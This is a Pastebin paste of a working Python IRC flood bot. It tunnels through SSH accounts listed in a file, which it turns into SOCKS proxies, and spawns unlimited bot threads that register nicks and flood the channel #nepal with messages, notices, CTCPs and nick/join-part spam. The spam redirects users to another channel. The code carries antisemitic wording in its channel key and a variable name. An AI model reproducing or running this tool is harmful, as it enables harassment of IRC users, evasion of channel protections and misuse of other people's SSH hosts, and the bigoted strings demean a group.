Advertisement
Guest User

Untitled

a guest
May 18th, 2017
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.57 KB | None | 0 0
  1. #!/usr/bin/python
  2. import os
  3. import sys
  4. import socket
  5. import random
  6. import time
  7. import socks
  8. from threading import Thread
  9.  
  10. network = 'irc.abuse.cc'
  11. port = 6667
  12. channel = '#nepal'
  13. message = 'ATTENTION: '+channel+' HAS NOW MOVED TO ---> irc.hardchats.com #gnaa <---'
  14. key = 'loljews' # note: you do not need to blank this out if the channel does not have a key set
  15. register = 1
  16. registerdelay = 0
  17. messagecount = 5 # the number of messages/notices/ctcps to attempt to send before spamming nick and join/parting
  18. join = 1
  19. knock =0
  20. joinpart =0
  21. nickspam =0
  22. chat =1
  23. pmsg = 1
  24. ctcp =1
  25. action =1
  26. notice =1
  27.  
  28. accounts = 'accounts.txt'
  29. baseport = 9050
  30. maxletters = 7
  31. alphabet = 'qwertyuiopasdfghjklzxcvbnm'
  32. acctfile = open(accounts,'r')
  33. lines=0
  34. ssh_pid = 0
  35. for line in acctfile:
  36.   ssh_data = line
  37.   ssh_exploded = ssh_data.split(',')
  38.   ssh_host = ssh_exploded[0]
  39.   ssh_user = ssh_exploded[1]
  40.   ssh_pass = ssh_exploded[2]
  41.   ssh_port = ssh_exploded[3]
  42.   ssh_pid = os.fork()
  43.   if not ssh_pid:
  44.     os.execlp("/usr/bin/expect","expect","./ssh.exp",ssh_user,ssh_pass,ssh_host,ssh_port.replace("\n",""),str(baseport+lines))
  45.     break
  46.   else:
  47.     lines += 1
  48. if ssh_pid:
  49.   acctfile.close()
  50.  
  51. class bot(Thread):
  52.   def __init__ (self,seed):
  53.     Thread.__init__(self)
  54.     self.seed = seed
  55.  
  56.   def lrecv(self):
  57.     c, s = '', ''
  58.     while c != '\n':
  59.       c = self.irc.recv(1)
  60.       if c == '':  # connection closed
  61.         break
  62.       s += c
  63.     if s.strip('\r\n') != '':
  64.       print s.strip('\r\n')
  65.     return s.strip('\r\n')
  66.  
  67.   def parsereply(self):
  68.     global joinpart
  69.     global nickspam
  70.     global chat
  71.     global action
  72.     global pmsg
  73.     global ctcp
  74.     global notice
  75.     global knock
  76.     global join
  77.     global message
  78.     global key
  79.     data=self.lrecv()
  80.     if data.find ( 'PING' ) != -1:
  81.       self.irc.send ( 'PONG ' + data.split() [ 1 ] + '\r\n' )
  82.     if data.find ( '404' ) != -1: #cannot send to channel
  83.       if self.lastaction == 'knock':
  84.         knock = 0
  85.       if self.lastaction == 'pmsg':
  86.         pmsg = 0
  87.         joinpart = 1
  88.         nickspam = 1
  89.       if self.lastaction == 'ctcp':
  90.         ctcp = 0
  91.       if self.lastaction == 'action':
  92.         action = 0
  93.       if self.lastaction == 'notice':
  94.         notice = 0
  95.       if self.lastaction == 'nickspam':
  96.         nickspam = 0
  97.     if data.find ( '417' ) != -1: #cannot join, +l
  98.       self.joined = 0
  99.     if data.find ( '473' ) != -1: #cannot join, +i
  100.       self.joined = 0
  101.       knock = 1
  102.     if data.find ( '474' ) != -1: #cannot join, +b
  103.       self.joined = 0
  104.     if data.find ( '475' ) != -1: #cannot join, +k (try to parse key from bots)
  105.       self.joined = 0
  106.     if data.find ( '442' ) != -1: #not on channel - probably been kicked
  107.       self.joined = 0
  108.  
  109.   def spam(self):
  110.     global joinpart
  111.     global nickspam
  112.     global chat
  113.     global action
  114.     global pmsg
  115.     global ctcp
  116.     global notice
  117.     global knock
  118.     global join
  119.     global message
  120.     global key
  121.     time.sleep(.5)
  122.     if self.joined == 0:
  123.       if knock == 1:
  124.         self.irc.send ( 'KNOCK ' + channel + ' :' + message + '\007\r\n' )
  125.         knock = 0
  126.         return
  127.       if join == 1:
  128.         self.irc.send ( 'JOIN ' + channel + ': '+key+'\r\n' )
  129.         self.joined = 1
  130.         self.lastaction == 'join'
  131.         join = 0
  132.         return
  133.     if self.joined == 1:
  134.       if self.spamcount == messagecount:
  135.         if nickspam == 1:
  136.           nick=''
  137.           for x in random.sample(alphabet,random.randint(2,maxletters)):
  138.             nick+=x
  139.           self.irc.send ( 'NICK ' + nick + str(random.randint(0,9999)) + '\r\n')
  140.           self.lastaction = 'nickspam'
  141.           nickspam = 0
  142.           return
  143.         if joinpart == 1:    
  144.           self.irc.send ( 'PART ' + channel + ' :' + message + '\007\r\n' )
  145.           nick=''
  146.           for x in random.sample(alphabet,random.randint(2,maxletters)):
  147.             nick+=x
  148.           self.irc.send ( 'NICK ' + nick + str(random.randint(0,9999)) + '\r\n')
  149.           joinpart = 0
  150.           self.joined = 0
  151.         self.spamcount = 0
  152.         return
  153.       if self.joined == 1:
  154.         if chat == 1:
  155.           loljews = random.randint(1,4)
  156.           if loljews == 1:
  157.             if pmsg == 1:
  158.               self.irc.send ( 'PRIVMSG ' + channel + ' :' + message + '\007\r\n' )
  159.               self.lastaction = 'pmsg'
  160.               self.spamcount += 1
  161.               return
  162.           if loljews == 2:
  163.             if notice == 1:
  164.               self.irc.send ( 'NOTICE ' + channel + ' :' + message + '\007\r\n' )
  165.               self.lastaction = 'notice'
  166.               self.spamcount += 1
  167.               return
  168.           if loljews == 3:
  169.             if ctcp == 1:
  170.               self.irc.send ( 'PRIVMSG ' + channel + ' :\001VERSION ' + message + '\007\001\r\n' )
  171.               self.lastaction = 'ctcp'
  172.               self.spamcount += 1
  173.               return
  174.           if loljews == 4:
  175.             if action == 1:
  176.               self.irc.send ( 'PRIVMSG ' + channel + ' :\001ACTION ' + message + '\007\001\r\n' )
  177.               self.lastaction = 'action'
  178.               self.spamcount += 1
  179.               return
  180.              
  181.   def run(self):
  182.     try:
  183.       global joinpart
  184.       global nickspam
  185.       global chat
  186.       global action
  187.       global pmsg
  188.       global ctcp
  189.       global notice
  190.       global knock
  191.       global join
  192.       global message
  193.       global key
  194.  
  195.       nick=''
  196.       self.joined=0
  197.       for x in random.sample(alphabet,random.randint(2,maxletters)):
  198.         nick+=x
  199.       self.irc = socks.socksocket ( socket.AF_INET, socket.SOCK_STREAM )
  200.       self.irc.setproxy( socks.PROXY_TYPE_SOCKS5,"localhost",random.randint(baseport,baseport+lines+1) )
  201.       self.irc.connect ( ( network, port ) )
  202.      
  203.       self.irc.send ( 'USER ' + nick + self.seed + ' ' + nick + self.seed + ' ' + nick + self.seed + ' :' + nick + self.seed + '\r\n' )
  204.       self.irc.send ( 'NICK ' + nick + self.seed + '\r\n' )
  205.       if register == 1:
  206.         time.sleep ( registerdelay )
  207.         self.irc.send ( 'PRIVMSG nickserv :REGISTER ' + self.seed + nick + ' ' + nick + self.seed + '@fasfa' + self.seed + '.com\r\n' )
  208.       while 1:
  209.         line = self.lrecv()
  210.         if line.find ( 'PING' ) != -1:
  211.           self.irc.send ( 'PONG ' + line.split() [ 1 ] + '\r\n' )
  212.         if line.find ( '001' ) != -1:
  213.           break
  214.       self.spamcount = 0
  215.       while 1:
  216.         self.spam()
  217.         self.parsereply()
  218.     except:
  219.       time.sleep(0)
  220.      
  221.  
  222. def spawn():
  223.   while True:
  224.     bot_instance = bot(str(random.randint(1,9999)))
  225.     bot_instance.start()
  226.  
  227. spawn()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement